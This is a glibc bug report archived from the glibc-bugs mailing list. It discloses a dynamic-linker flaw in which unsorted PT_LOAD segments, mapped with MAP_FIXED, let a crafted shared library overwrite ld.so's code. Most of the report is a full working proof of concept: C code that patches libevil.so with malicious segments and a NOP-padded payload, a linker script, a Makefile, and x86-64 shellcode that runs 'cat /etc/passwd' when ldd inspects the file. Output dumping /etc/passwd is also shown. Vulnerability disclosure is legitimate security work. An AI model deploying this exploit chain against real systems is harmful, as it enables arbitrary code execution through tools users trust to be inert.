This is the mail archive of the glibc-bugs@sourceware.org mailing list for the glibc project.


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]
Other format: [Raw text]

[Bug dynamic-link/22851] New: ld library ELF load error


https://sourceware.org/bugzilla/show_bug.cgi?id=22851

            Bug ID: 22851
           Summary: ld library ELF load error
           Product: glibc
           Version: unspecified
            Status: UNCONFIRMED
          Severity: normal
          Priority: P2
         Component: dynamic-link
          Assignee: unassigned at sourceware dot org
          Reporter: blackzert at gmail dot com
  Target Milestone: ---

ld-linux.so is known library and works as ELF file interpreter. It can load
libraries into process with 'dlopen' function or while loading ELF file
creating new process.
>From here http://www.skyfree.org/linux/references/ELF_Format.pdf we can get
some info about PT_LOAD:

PT_LOAD
        The array element specifies a loadable segment, described by p_filesz
and p_memsz. The bytes from the file are mapped to the beginning of the memory
segment. If the segment’s memory size (p_memsz) is larger than the file size
(p_filesz), the ‘‘extra’’ bytes are defined to hold the value 0 and to follow
the segment’s initialized area. The file size may not be larger than the memory
size. Loadable segment entries in the program header table appear in ascending
order, sorted on the p_vaddr member.

What we need here is following constraint: Loadable segment entries in the
program header table appear in ascending order, sorted on the p_vaddr member.

Unfortunetly in current implementation of GNU Libc there is no any check for
this constraint.
GNU Libc use MAP_FIXED while loading PT_LOAD segments and man about mmap says:

MAP_FIXED
     Don't interpret addr as a hint: place the mapping at exactly that address.
 addr must be a multiple of the page size.  If the memory region specified by
addr and  len
     overlaps  pages  of  any  existing mapping(s), then the overlapped part of
the existing mapping(s) will be discarded.  If the specified address cannot be
used, mmap()
     will fail.  Because requiring a fixed address for a mapping is less
portable, the use of this option is discouraged.

here is important to know that usage of MAP_FIXED may change current process
mapping.

If attacker can ask ld library to load special crafted ELF file it can get code
execution. In this case he even dont need to create special constructor inside
this library or call any function from it - he can re-mmap ld library code with
his own and successfully execute it after execution of mmap syscall.

As Proof of Concept to this vulnerability I prepared exploit for ldd utility -
utility that know to not execute any third-party code and just showing needed
libraries and memory layout of them.

The same error present in the linux kernel code, I've already prepared patch
for it and will publish it soon.

normal usage:
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
        linux-vdso.so.1 =>  (0x00007ffca0bf6000)
        libevil.so => ./libevil.so (0x00007f5ade66d000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5ade2a3000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5ade86f000)

specail crafted libevil.so just runs ‘cat /etc/passwd'
blackzert@crasher:~/aslur/tests/evil_elf$ ldd main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin


PoC code:

#include <elf.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

off_t get_len(int fd)
{
   off_t length = lseek(fd, 0, SEEK_END);

   lseek(fd, 0, SEEK_SET);
   return length;

}


int get_file(char *evilname)
{
   int fd = open(evilname, O_RDWR);
   if (fd < 0)
   {
       printf("Failed to open\n");
       return -1;
   }
   return fd;
}

int align(int fd, size_t len, size_t value)
{
        char buffer[4096] = {0};
        size_t rest = value - (len & (value - 1));
        while ( rest > 4096) {
                write(fd, buffer, 4096);
                rest -= 4096;
        }
        write(fd, buffer, rest);
        return 0;
}


int extend_elf(int fd, Elf64_Phdr *new_heades, unsigned int new_count, char*
overlay, unsigned long overlay_len) {

   Elf64_Ehdr header = {0};

   int size = read(fd, &header, sizeof(header));
   if (size < sizeof(header))
   {
       printf("read failed\n");
       return -1;
   }
   if (header.e_ident[EI_CLASS] != ELFCLASS64)
   {
       printf("Not elf64\n");
       return -1;
   }

   if (header.e_phentsize != sizeof(Elf64_Phdr))
   {
       printf("unknown phdr struct\n");
       return -1;
   }
   unsigned long ph_size = header.e_phnum * header.e_phentsize;

   header.e_phnum += new_count;

   off_t off = lseek(fd, 0, SEEK_SET);
   if (off == (off_t)-1)
   {
       printf("bad ph_off\n");
       return -1;
   }
   size = write(fd, &header, sizeof(header));
   if (size != sizeof(header))
   {
       printf("failed to write header\n");
       return -1;
   }


   off = lseek(fd, ph_size + header.e_phoff, SEEK_SET);
   if (off == (off_t)-1)
   {
       printf("bad ph_off\n");
       return -1;
   }

   size = write(fd, new_heades, new_count*sizeof(Elf64_Phdr));
   if (size != new_count*sizeof(Elf64_Phdr))
   {
       printf("write failed, file corrupted. sorry\n");
       return -1;
   }
   off = lseek(fd, 0, SEEK_SET);
   if (off == (off_t)-1)
   {
        printf("failed go to start");
       return -1;
   }

   off = lseek(fd, 0, SEEK_END);
   if (off == (off_t)-1)
   {
       printf("failed to seek to end\n");
       return -1;
   }
   align(fd, off, new_heades[0].p_align);

   return 0;
}



char shellcode[4096];
unsigned long libc_size = 0x26000;
int main() {
   int scfd = get_file("shellcode.bin");
   off_t sc_len = get_len(scfd);
   read(scfd, shellcode, sc_len);

   int fd = get_file("libevil.so");
   if (fd < 0)
       printf("failed open\n");

   off_t off = get_len(fd);
   if (off == (off_t)-1)
   {
       printf("failed get len\n");
       close(fd);
       return -1;
   }

   Elf64_Phdr new_headers[2];

   new_headers[0].p_type = PT_LOAD; // segment with shellcode, will overwrite
ld r-x segment
   new_headers[0].p_flags = PF_X|PF_R|PF_W;
   new_headers[0].p_offset = off + (4096 - (4095&off));
   new_headers[0].p_vaddr = 0x400000;
   new_headers[0].p_paddr = 0;
   new_headers[0].p_filesz = libc_size;
   new_headers[0].p_memsz = 0x200000;
   new_headers[0].p_align = 4096;

   if ( ((new_headers[0].p_vaddr - new_headers[0].p_offset)
                & (new_headers[0].p_align - 1)) != 0 )
   {

       printf("ELF load command address/offset not properly aligned\n");
       return -1;
   }

   new_headers[1].p_type = PT_LOAD;
   new_headers[1].p_flags = PF_X|PF_R|PF_W;
   new_headers[1].p_offset = 0;
   new_headers[1].p_vaddr = 0x200000;
   new_headers[1].p_paddr = 0;
   new_headers[1].p_filesz = 0;
   new_headers[1].p_memsz = 0x200000;
   new_headers[1].p_align = 0x200000;

   int res = extend_elf(fd, (Elf64_Phdr*)&new_headers, 2, shellcode, sc_len);
   char buffer[4096];
   memset(buffer, 0x90, 4096);
   unsigned long size = libc_size;
   while(size > 4096)
   {
        write(fd, buffer, 4096);
        size -= 4096;
   }
   memcpy(buffer + 4095 - sc_len, shellcode, sc_len);
   write(fd, buffer, 4096);

   close(fd);
   return res;
}

This code adds to ‘libevil.so’ 2 new segments - one with shellcode that
overwrites r-x segment of ld and second to be last one.

To make everything happens, special linker script is needed:

OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
              "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu");
SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib/x86_64-linux-gnu");
SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib64");
SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib");
SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib64");
SEARCH_DIR("=/usr/x86_64-linux-gnu/lib");
SECTIONS
{
 . = 0x1000 + SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
 .text           :
 {
   *(.text)
 }
 .rela.plt       :
   {
     *(.rela.plt)
   }
 .dynamic        : { *(.dynamic) }

 .got            : { *(.got) }
 .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           : { *(.data) }

 /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

this one just adds extra space to allow us extend program header of libevil.so
main.c:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

extern int evil();

char buffer[16536];
int main() {
        evil();
        int fd = open("/proc/self/maps", 0);
        int size = read(fd, buffer, sizeof(buffer));
        if (size > 0)
                write(0, buffer, size);
        return 0;
}

evil.c:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int evil() {
        printf("Hello world!\n");
        return 0;
}

and Makefile
all:
        gcc -fPIC -shared evil.c -o libevil.so
        gcc main.c -levil -L. -o main -Wl,-rpath,./
        gcc make_evil.c -o make_evil -g
evil: all
        nasm -fbin shellcode.asm -o shellcode.bin
        gcc -fPIC -shared evil.c -T evil.script -o libevil.so
        ./make_evil
clean:
        rm main libevil.so

gdb:
        gdb /home/blackzert/kernel_experiments/glibc_build/elf/ld.so

list:
        /lib64/ld-linux-x86-64.so.2 --list ./libevil.so


shellcode.asm:
   bits    64

   push    59
   pop     rax              ; rax=sys_execve
   cdq                      ; penv=0
   mov     rcx, '/bin//sh'
   push    rdx              ; 0
   push    rcx              ; "/bin//sh"
   push    rsp
   pop     rdi              ; rdi="/bin//sh", 0
   ; ---------
   push    rdx              ; 0
   push    word '-c'
   push    rsp
   pop     rbx              ; rbx="-c", 0
   push    rdx              ; NULL
   jmp     l_cmd64
r_cmd64:                     ; command
   push    rbx              ; "-c"
   push    rdi              ; "/bin//sh"
   push    rsp
   pop     rsi              ; rsi=args
   syscall
l_cmd64:
   call    r_cmd64
   db 'cat /etc/passwd', 0

-- 
You are receiving this mail because:
You are on the CC list for the bug.

Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]